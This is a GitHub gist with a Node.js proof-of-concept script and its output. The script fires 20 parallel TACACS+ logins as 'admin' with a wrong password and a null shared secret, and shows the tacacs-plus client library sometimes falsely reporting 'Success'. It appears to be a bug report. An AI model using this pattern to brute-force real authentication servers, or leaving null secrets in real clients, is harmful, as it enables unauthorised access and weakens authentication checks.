Last active
February 19, 2019 21:24
-
-
Save mwarner1/4e6c9a06638302328e54aa7aca1c5477 to your computer and use it in GitHub Desktop.
Null shared secret allows brute force success with tacacs-plus library
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict'; | |
const net = require('net'); | |
const crypto = require('crypto'); | |
const tacacs = require('tacacs-plus'); | |
const AuthResult = Object.freeze({ | |
Success: 'Success', | |
Failure: 'Failure' | |
}); | |
const checkCredentials = (username, password) => { | |
return new Promise((resolve, reject) => { | |
let authResult = AuthResult.Failure; | |
let authMessage = null; | |
const shared_secret = null; // THIS SEEMS TO BE THE TRIGGER | |
const client = net.connect({port: 49, host: '192.168.30.77'}, function () { | |
console.log('Client connected!'); | |
// now that we've connected, send the first auth packet | |
const sessionIdBytes = crypto.randomBytes(4); | |
const sessionId = Math.abs(sessionIdBytes.readInt32BE(0)); | |
// create the auth start body | |
const authStart = tacacs.createAuthStart({ | |
action: tacacs.TAC_PLUS_AUTHEN_LOGIN, | |
privLvl: tacacs.TAC_PLUS_PRIV_LVL_USER, | |
authenType: tacacs.TAC_PLUS_AUTHEN_TYPE_ASCII, | |
authenService: tacacs.TAC_PLUS_AUTHEN_SVC_LOGIN, | |
user: '', | |
port: '', | |
remAddr: '', | |
data: null | |
}); | |
const version = tacacs.createVersion(tacacs.TAC_PLUS_MAJOR_VER, tacacs.TAC_PLUS_MINOR_VER_DEFAULT); | |
const sequenceNumber = 1; | |
const encryptedAuthStart = tacacs.encodeByteData(sessionId, shared_secret, version, sequenceNumber, authStart); | |
// create the tacacs+ header | |
const headerOptions = { | |
majorVersion: tacacs.TAC_PLUS_MAJOR_VER, | |
minorVersion: tacacs.TAC_PLUS_MINOR_VER_DEFAULT, | |
type: tacacs.TAC_PLUS_AUTHEN, | |
sequenceNumber: sequenceNumber, | |
flags: tacacs.TAC_PLUS_SINGLE_CONNECT_FLAG, // setting this to zero assumes encryption is being used -- | tacacs.TAC_PLUS_UNENCRYPTED_FLAG | |
sessionId: sessionId, | |
length: authStart.length | |
}; | |
const header = tacacs.createHeader(headerOptions); | |
const packetToSend = Buffer.concat([header, encryptedAuthStart]); | |
// send the auth start packet to the server | |
client.write(packetToSend); | |
}); | |
client.on('error', function (err) { | |
console.log(err); | |
reject(err); | |
}); | |
client.on('close', function (had_err) { | |
if (had_err) { | |
reject(had_err); | |
} | |
resolve({status: authResult, msg: authMessage}); | |
}); | |
client.on('data', function (data) { | |
if (data) { | |
// decode response | |
const resp = tacacs.decodePacket({packet: data, key: shared_secret}); | |
if (resp) { | |
if (resp.data.status === tacacs.TAC_PLUS_AUTHEN_STATUS_ERROR) { | |
client.end(); | |
authMessage = "Authentication error"; | |
} else if (resp.data.status === tacacs.TAC_PLUS_AUTHEN_STATUS_FAIL) { | |
client.end(); | |
authMessage = "Authentication Failed"; | |
} else if (resp.data.status === tacacs.TAC_PLUS_AUTHEN_STATUS_GETUSER) { | |
const newSeq = resp.header.sequenceNumber + 1; | |
const tRespOptions = { | |
flags: 0x00, | |
userMessage: username, | |
data: null | |
}; | |
const tContinue = tacacs.createAuthContinue(tRespOptions); | |
const encryptedContinue = tacacs.encodeByteData(resp.header.sessionId, shared_secret, resp.header.versionByte, newSeq, tContinue); | |
const tRespHeader = { | |
majorVersion: tacacs.TAC_PLUS_MAJOR_VER, | |
minorVersion: tacacs.TAC_PLUS_MINOR_VER_DEFAULT, | |
type: tacacs.TAC_PLUS_AUTHEN, | |
sequenceNumber: newSeq, | |
flags: resp.header.flags, | |
sessionId: resp.header.sessionId, | |
length: encryptedContinue.length | |
}; | |
const header = tacacs.createHeader(tRespHeader); | |
const packetToSend = Buffer.concat([header, encryptedContinue]); | |
client.write(packetToSend); | |
} else if (resp.data.status === tacacs.TAC_PLUS_AUTHEN_STATUS_GETPASS) { | |
const newSeq = resp.header.sequenceNumber + 1; | |
const tRespOptions = { | |
flags: 0x00, | |
userMessage: password, | |
data: null | |
}; | |
const tContinue = tacacs.createAuthContinue(tRespOptions); | |
const encryptedContinue = tacacs.encodeByteData(resp.header.sessionId, shared_secret, resp.header.versionByte, newSeq, tContinue); | |
const tRespHeader = { | |
majorVersion: tacacs.TAC_PLUS_MAJOR_VER, | |
minorVersion: tacacs.TAC_PLUS_MINOR_VER_DEFAULT, | |
type: tacacs.TAC_PLUS_AUTHEN, | |
sequenceNumber: newSeq, | |
flags: resp.header.flags, | |
sessionId: resp.header.sessionId, | |
length: encryptedContinue.length | |
}; | |
const header = tacacs.createHeader(tRespHeader); | |
const packetToSend = Buffer.concat([header, encryptedContinue]); | |
client.write(packetToSend); | |
} else if (resp.data.status === tacacs.TAC_PLUS_AUTHEN_STATUS_PASS) { | |
client.end(); | |
authMessage = "Success"; | |
authResult = AuthResult.Success; | |
} else { | |
const newSeq = resp.header.sequenceNumber + 1; | |
const tRespOptions = { | |
flags: tacacs.TAC_PLUS_CONTINUE_FLAG_ABORT, | |
userMessage: null, | |
data: null | |
}; | |
const tContinue = tacacs.createAuthContinue(tRespOptions); | |
const encryptedContinue = tacacs.encodeByteData(resp.header.sessionId, shared_secret, resp.header.versionByte, newSeq, tContinue); | |
const tRespHeader = { | |
majorVersion: tacacs.TAC_PLUS_MAJOR_VER, | |
minorVersion: tacacs.TAC_PLUS_MINOR_VER_DEFAULT, | |
type: tacacs.TAC_PLUS_AUTHEN, | |
sequenceNumber: newSeq, | |
flags: resp.header.flags, | |
sessionId: resp.header.sessionId, | |
length: encryptedContinue.length | |
}; | |
const header = tacacs.createHeader(tRespHeader); | |
const packetToSend = Buffer.concat([header, encryptedContinue]); | |
client.write(packetToSend); | |
client.end(); | |
authMessage = "General failure"; | |
} | |
} | |
} else { | |
reject('Client: No data!'); | |
} | |
}); | |
}); | |
}; | |
const doMain = async () => { | |
let promises = []; | |
for (let x = 0; x < 20; x++) { | |
promises.push(checkCredentials('admin', 'badpass').then(result => { | |
console.log(result); | |
})); | |
} | |
await Promise.all(promises); | |
}; | |
doMain(); | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Output shows two successes. With a null shared_secret, the code is not actually talking to tac_plus
node index.js
Client connected!
Client connected!
Client connected!
Client connected!
Client connected!
Client connected!
Client connected!
Client connected!
Client connected!
Client connected!
Client connected!
Client connected!
Client connected!
Client connected!
Client connected!
Client connected!
Client connected!
Client connected!
Client connected!
Client connected!
{ status: 'Failure', msg: 'General failure' }
{ status: 'Failure', msg: 'General failure' }
{ status: 'Failure', msg: 'Authentication Failed' }
{ status: 'Failure', msg: null }
{ status: 'Failure', msg: 'General failure' }
{ status: 'Failure', msg: 'General failure' }
{ status: 'Failure', msg: null }
{ status: 'Failure', msg: 'General failure' }
{ status: 'Failure', msg: 'General failure' }
{ status: 'Failure', msg: 'General failure' }
{ status: 'Failure', msg: 'General failure' }
{ status: 'Failure', msg: 'General failure' }
{ status: 'Failure', msg: 'General failure' }
{ status: 'Failure', msg: null }
{ status: 'Failure', msg: 'Authentication Failed' }
{ status: 'Failure', msg: null }
{ status: 'Failure', msg: 'General failure' }
{ status: 'Success', msg: 'Success' }
{ status: 'Success', msg: 'Success' }
{ status: 'Failure', msg: 'Authentication error' }